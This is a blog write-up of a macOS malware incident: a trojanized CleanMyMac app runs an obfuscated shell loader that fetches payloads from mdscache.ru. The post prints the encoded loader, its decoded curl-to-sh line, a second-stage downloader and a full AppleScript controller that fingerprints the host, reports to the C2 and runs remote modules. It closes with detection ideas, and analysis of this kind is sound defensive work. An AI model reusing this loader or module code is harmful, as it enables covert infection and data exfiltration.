2399 words
12 minutes
Behind the Shell: Investigating a Stealthy AppleScript macOS Implant

It was a quiet, lazy day at work — the kind where most alerts are false positives and the biggest threat is stale coffee. That changed quickly when an unexpected Defender alert popped up, flagging an unusual process spawned by what appeared to be a legitimate application: CleanMyMac_5_HealthMonitor.app (Not downloaded from the legitimate source).

At first glance, it looked like a routine security false alarm — until we dug deeper.

Within minutes, we uncovered a multi-stage, fileless malware infection on a macOS device. The attack used heavily obfuscated shell commands, AppleScript payloads, and clever abuse of native macOS tooling like osascript, osacompile, and curl. It pulled down scripts and compiled apps from a command-and-control (C2) server, executed them from memory, and left almost no trace on disk — an ideal playbook for stealth.

This blog post unpacks that entire incident — from the initial trojanized CleanMyMac execution to the multi-layered AppleScript malware chain, the C2 interactions with mdscache.ru, and the steps we took to investigate, contain, and understand it.

Lets Dive In

Stage 1 - The Obfuscated Shell Loader#

Just seconds after CleanMyMac_5_HealthMonitor.app was launched, our telemetry flagged a highly suspicious command executed by an unknown shell process (PID 1927). The command wasn’t straightforward — it was buried under three layers of hex encoding

Here’s what the original command looked like on the infected host:

((echo 333633353336333333363338333636363332333033323332333233343332333833363333333733353337333233363633333233303332363433363336333733333336363233343633333233303332363433363334333233303337333033333634333733383336333333363636333633343336333533323330333633383337333433373334333733303337333333333631333236363332363633363634333633343337333333363333333633313336333333363338333633353332363533373332333733353332363633363331333233393332333233323330333736333332333033373333333633383330363130610a | xxd -p -r | xxd -p -r | xxd -p -r | sh ) >/dev/null 2>&1 &)

which decodes to

echo "$(curl -fskL -d p=xcode https://mdscache.ru/a)" | sh

Triple-hex decoded payload on CyberChef

This command silently fetches a remote payload from the attacker-controlled domain mdscache.ru and executes it directly in the current shell environment. No file is saved to disk — it’s streamed straight into the process memory.

The -fskL options for curl ensure:

  • f: Fail silently on HTTP errors

  • s: Silent mode (no progress output)

  • k: Ignore SSL certificate issues

  • L: Follow redirects

It’s classic Unix stealth: quiet, direct, and effective.

But it gets more interesting.

When we manually requested the payload using:

We received another recursive script — a second-stage downloader, tailored based on system details.

#!/usr/bin/env bash
(echo "$(curl -fskL -d "os=$(uname -s)&p=xcode&u=$(whoami)" 'https://mdscache.ru/a')" | sh >/dev/null 2>&1 &)

This stage dynamically builds its next request based on the host’s OS and current username — feeding it back into the same endpoint to retrieve the next customized payload.

🧠 Why This Matters

This stage demonstrates:

  • Fileless execution: Nothing written to disk

  • Adaptive delivery: Payload varies based on host metadata

  • Simple obfuscation: Enough to bypass casual inspection or weak detection rules

It’s not just a clever bash chain — it’s a stealthy malware loader abusing native tools to stay hidden in plain sight

Stage 2 - Tracking File & AppleScript Downloader#

Shortly after the initial shell-based dropper was executed, the second stage of the attack kicked off — this phase was focused on victim tracking and AppleScript module delivery.

📝 Tracking the Host: Creation of .a

One of the first artifacts we expected to find was a hidden telemetry file created by the malware at ~/.a

This file is normally used by the malware to store runtime execution stats — such as how long it’s been active and how many times the payload has run. However, in our case, the .a file had already been deleted by the time the investigation began. Despite that, we were able to confirm its prior existence via the network activity and curl POST parameters.

We have recorded the command mv /tmp/a /Users/firstname.lastname/.a

This confirms the tracking file was written to disk — temporarily — before being deleted later during cleanup.

Stage 3 - Targeted Payload Fetch to Module rwwx#

Immediately following .a creation, the malware pulled down a custom AppleScript payload using the victim’s:

  1. Username

  2. Serial number

  3. .a tracking content

This happened via:

curl -o /tmp/h -fskL -d p=xcode&u=firstname.lastname&s=serialnumber&a=1753134428,1753135657,1229,1 https://mdscache.ru/s/rwwx

The /s/rwwx endpoint returned a fully obfuscated AppleScript designed to act as the controller — responsible for system profiling, logging, and initiating the next layer of modules (like oexxbiko, zetobox, etc.).

Later I found the script which have the details. Here is the full script

global DOT_KEEP

set DOT_KEEP to 1

global moduleName
global serialNumber
global userName
global tempFolder
global domain

set moduleName to "rwwx"
set serialNumber to do shell script "(ioreg -k IOPlatformSerialNumber | grep IOPlatformSerialNumber | cut -w -f5 | xargs) 2>/dev/null || true"
set userName to do shell script "whoami"
set tempFolder to "/tmp/"
set domain to "mdscache.ru"
set utmSource to "J2IrQwLzBrlX36pyV35E4UA4yyOY8f2I"



on log (message)

	set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
	set message to (quoted form of message)

	--do shell script ("(curl -fksL -m 6 -d " & message & " https://" & domain & "/j > /dev/null 2>&1 &)")

	try
		do shell script ("curl -fksL -m 6 -d " & message & " https://" & domain & "/j")
	end try
end log



on launchApp(appFile, wait)
	
	if wait then
		do shell script ("open -Wgna " & appFile)
		
	else
		do shell script ("open -gna " & appFile & " &> /dev/null & echo $!")
	end if
	
end launchApp

on isInstalled(bundleId)
	
	set appId to ""
	
	try
		set appId to do shell script "mdfind kMDItemCFBundleIdentifier = '" & bundleId & "'"
	end try
	
	if appId is equal to "" then
		return false
	end if
	
	return true
	
end isInstalled

on boot(moduleName, wait)
	
	try

		if moduleName = "xegektjl" and isInstalled("ru.keepcoder.Telegram") is false then
			
			log ("Telegram not found for " & moduleName)
			
			return
			
		end if

		if moduleName = "hc" and isInstalled("com.google.Chrome") is false then
			
			log ("Chrome not found for " & moduleName)
			
			return
			
		end if


		if moduleName = "dbtedwa_cjxj" and isInstalled("org.mozilla.firefox") is false then
			
			log ("Firefox not found for " & moduleName)
			
			return
			
		end if

		
		set finderModules to {"tezgbhjxwt", "kbx", "uzgwjcet_dwgcet", "dbicet", "eaeh", "xeox"}
		
		
		if finderModules contains moduleName then
			
			do shell script "curl -o /tmp/.f -fksL -d 's=" & serialNumber & "' https://" & domain & "/s/" & moduleName
			
			boot("dbicet_jzz", true)

			do shell script "rm -f /tmp/.f"
			
			return
		end if

		if wait then
			do shell script "osascript -e \"$(curl -fskL -d 'u=" & userName & "&s=" & serialNumber & "&w' https://" & domain & "/s/" & moduleName & ")\" &>/dev/null"
		else
			do shell script "osascript -e \"$(curl -fksL -d 'u=" & userName & "&s=" & serialNumber & "' https://" & domain & "/s/" & moduleName & ")\" &>/dev/null &"
		end if
		
		
	on error the errorMessage number the errorNumber
		
		log ("Module " & moduleName & " boot failed with message: " & errorMessage)

		delay 1
		
	end try
	
end boot

on initApp()

	log "module launched. domain " & domain

	set theLang to ""
	set browser to "com.apple.safari"
	
	try
		set browser to do shell script "(plutil -p ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist | grep 'https' -b3 |awk 'NR==3 {split($4, arr, \"\\\"\"); print arr[2]}') || echo 'com.apple.safari'"
		
		if browser is equal to "" then
			set browser to "com.apple.safari"
		end if
	end try
	
	try
		set macOsVersion to do shell script "defaults read loginwindow SystemVersionStampAsString 2>/dev/null || echo 0"
		set safariVersion to do shell script "defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionString 2>/dev/null || echo 0"
		set theLang to user locale of (get system info)
		set FW to do shell script "defaults read /Library/Preferences/com.apple.alf globalstate 2>/dev/null || true"
		set SIP to do shell script "csrutil status | grep -q enabled && echo 1 || echo 0"
		set CPU to do shell script "sysctl -n machdep.cpu.brand_string || true"
		
		log "MacOS version: " & macOsVersion & ", " & theLang & ". Serial: " & serialNumber & ". Firewall: " & FW & ". SIP: " & SIP & ", Safari: " & safariVersion & ", CPU: " & CPU & " Default browser: " & browser & " last entry point: xcode"
		log "Install: 2025-07-21 21:47:08, last: 2025-07-21 21:47:08, cycles: 1, elapsed: 1229"
		
	end try
	

	try

		if userName = "demo" then

			boot("iwxeo_jzz", false)
			return

		end if


		if serialNumber contains "PXCW" then

			boot("zjsgwjcet", false)

			return

		end if

	end try

	boot("gboxbik", false)
	boot("eaxeiobwio", false)
	boot("zjsgwjcet", false)
	boot("cjxj_dwgceto", false)
	boot("zetobox", false)
	boot("iwxeo_jzz", false)
	boot("hc", false)
	boot("oexxbiko", false)

end initApp

try

	initApp()

on error the errorMessage number the errorNumber
	
	log "fatal error: " & errorMessage
	
end try

Lets analyze it

global DOT_KEEP
set DOT_KEEP to 1

This flag (DOT_KEEP) isn’t referenced again in the script. It could be a leftover variable, or used as a signal to other modules (if any use the same global context).

global moduleName
global serialNumber
global userName
global tempFolder
global domain

set moduleName to "rwwx"
set serialNumber to do shell script "(ioreg -k IOPlatformSerialNumber | grep IOPlatformSerialNumber | cut -w -f5 | xargs) 2>/dev/null || true"
set userName to do shell script "whoami"
set tempFolder to "/tmp/"
set domain to "mdscache.ru"
set utmSource to "J2IrQwLzBrlX36pyV35E4UA4yyOY8f2I"

These variables define:

  • moduleName: Indicates this script’s “module identity” — used for logging.

  • serialNumber: Obtains the Mac’s unique hardware ID via ioreg.

  • userName: The current user (whoami).

  • utmSource: Appears to act as a campaign tag or infection vector ID (e.g., “xcode” or “CleanMyMac”).

This function formats and sends telemetry back to the C2:

on log (message)
	set message to ("b:" & userName & ":" & serialNumber & ":" & moduleName & ":" & message)
	set message to (quoted form of message)
	try
		do shell script ("curl -fksL -m 6 -d " & message & " https://" & domain & "/j")
	end try
end log

Each log entry includes:

  • The type prefix b:

  • Username

  • Device serial number

  • Module name

  • Message content

It sends this data to hxxps[://]mdscache[.]ru/j using curl, which is silent, follows redirects, and ignores TLS errors.

This logging mechanism is used extensively throughout the script to report status, errors, or environment data back to the operator.

on launchApp(appFile, wait)
	if wait then
		do shell script ("open -Wgna " & appFile)
	else
		do shell script ("open -gna " & appFile & " &> /dev/null & echo $!")
	end if
end launchApp

This helper launches a given macOS application:

  • If wait is true, it blocks until the app exits.

  • Otherwise, it backgrounds the process.

This is useful for launching decoy apps (like Safari or Terminal) or payloads disguised as apps.

on isInstalled(bundleId)
	try
		set appId to do shell script "mdfind kMDItemCFBundleIdentifier = '" & bundleId & "'"
	end try
	
	if appId is equal to "" then return false
	return true
end isInstalled

This function checks if specific applications (e.g., Chrome, Firefox, Telegram) are installed by searching their bundle ID using mdfind.

This is key for conditional logic — certain modules are only executed if particular apps are present.

Next is the main execution logic for loading payloads.

It starts by evaluating the module name. For certain modules like “xegektjl”, “hc”, and “dbtedwa_cjxj”, it checks whether the expected applications are present:

if moduleName = "xegektjl" and isInstalled("ru.keepcoder.Telegram") is false then return

If the condition is met (e.g., Telegram is not installed), the module is skipped — likely to avoid unnecessary activity on systems where it wouldn’t function.

Then there’s a special case for what are called “finderModules”:

set finderModules to {"tezgbhjxwt", "kbx", ...}
if finderModules contains moduleName then
	do shell script "curl -o /tmp/.f -fksL -d 's=" & serialNumber & "' https://" & domain & "/s/" & moduleName
	boot("dbicet_jzz", true)
	do shell script "rm -f /tmp/.f"
	return
end if

Here:

  1. It downloads a file from the server and stores it as /tmp/.f.

  2. Immediately executes another module (dbicet_jzz), likely the script executor.

  3. Cleans up the file afterward — indicative of fileless or ephemeral behavior.

For all other modules:

do shell script "osascript -e \"$(curl -fskL -d ...)\""

It downloads AppleScript payloads dynamically from the C2, compiles, and executes them inline via osascript.

The use of:

  • “&w”: Indicates a wait variant of the payload.

  • Background execution if wait is false.

This is the entry point after the script starts. It first logs that the module is launched and begins gathering system profiling data:

set browser ...
set macOsVersion ...
set safariVersion ...
set FW ...
set SIP ...
set CPU ...

These collect:

  • Default browser preference

  • macOS and Safari version

  • System language

  • Firewall state (via com.apple.alf)

  • SIP (System Integrity Protection) status

  • CPU string (Intel/Apple Silicon)

All of this is then logged to /j.

It then makes two conditional checks:

if userName = "demo" then boot("iwxeo_jzz", false)
if serialNumber contains "PXCW" then boot("zjsgwjcet", false)

These likely target specific analyst sandboxes or test VMs and trigger specific payloads or decoy behavior. I tried accessing it with different users like demo and it pulls a different payload

Finally, it launches all other modules, including:

boot("gboxbik", false)
boot("eaxeiobwio", false)
boot("zjsgwjcet", false)
boot("cjxj_dwgceto", false)
boot("zetobox", false)
boot("iwxeo_jzz", false)
boot("hc", false)
boot("oexxbiko", false)

Each of these modules is presumably another AppleScript fetched from https://mdscache.ru/s/ and executed via osascript.

At the bottom, everything is wrapped in a top-level try:

try
	initApp()
on error the errorMessage number the errorNumber
	log "fatal error: " & errorMessage
end try

This ensures any crash or exception gets logged to /j without killing the overall execution flow — preserving stealth and continuity.

. Summary of What This Script Does

  • Fingerprints the system — user, device, SIP, firewall, browser, etc.

  • Logs environment info to a remote server.

  • Conditionally launches payloads based on what’s installed (e.g., Chrome).

  • Downloads modular payloads using curl from mdscache.ru.

  • Executes AppleScript modules inline, filelessly.

  • Cleans up after itself (deletes temp files).

  • Operates stealthily — silent curl, redirects, background execution.

Detection Ideas#

Curl Piping Directly to sh or osascript

  • Flag any process spawning sh or osascript with piped input.

Suspicious Use of osascript with Inline or Downloaded Script

  • Flag large base64 or obfuscated strings in osascript arguments

Curl with -fskL Flags

Track curl usage with:

  • -f (fail silently)

  • -s (silent)

  • -k (ignore SSL)

  • -L (follow redirects)

Access to Suspicious Domains (mdscache.ru)

  • Block access to the C2 domain (IOC) from the incidents

There can be a lot of other detection rules which can be created, I have added only some of my thoughts on it

Flow Diagram#

Flow Diagram

Conclusion#

This incident highlights the evolving sophistication of macOS malware — especially in how it blends in with legitimate system behavior. By abusing trusted native utilities like osascript, curl, and mdfind, the attacker bypassed traditional security controls and operated almost entirely in-memory. The modular design, system-aware payloads, and dynamic delivery from mdscache.ru show a high degree of planning and adaptability.

For defenders, this isn’t just a call to block a single domain or hash — it’s a reminder that behavioral visibility is critical. Static indicators alone won’t catch malware that never writes itself to disk. Instead, we must lean on process relationships, script behavior, and the subtle signs of abuse of legitimate tools.

As macOS threats continue to mature, so must our detection strategies. Monitoring for obfuscated shell chains, scripted AppleScript execution, and unusual tool usage like osascript or xxd can provide the signal needed to catch attacks hiding in plain sight.

Stay vigilant. This was a single case study — but its tactics are likely being reused across campaigns today.

I wasn’t able to dedicate as much time to the investigation as I would have liked, but this post outlines the key findings I uncovered. There are still deeper aspects worth exploring — particularly around the compiled application and the .a tracking file — but for now, this provides a solid overview of the incident.

Behind the Shell: Investigating a Stealthy AppleScript macOS Implant
https://anish833.github.io/posts/fileless-malware-delivery/
Author
Anish Bhowmick
Published at
2025-08-03
License
CC BY-NC-SA 4.0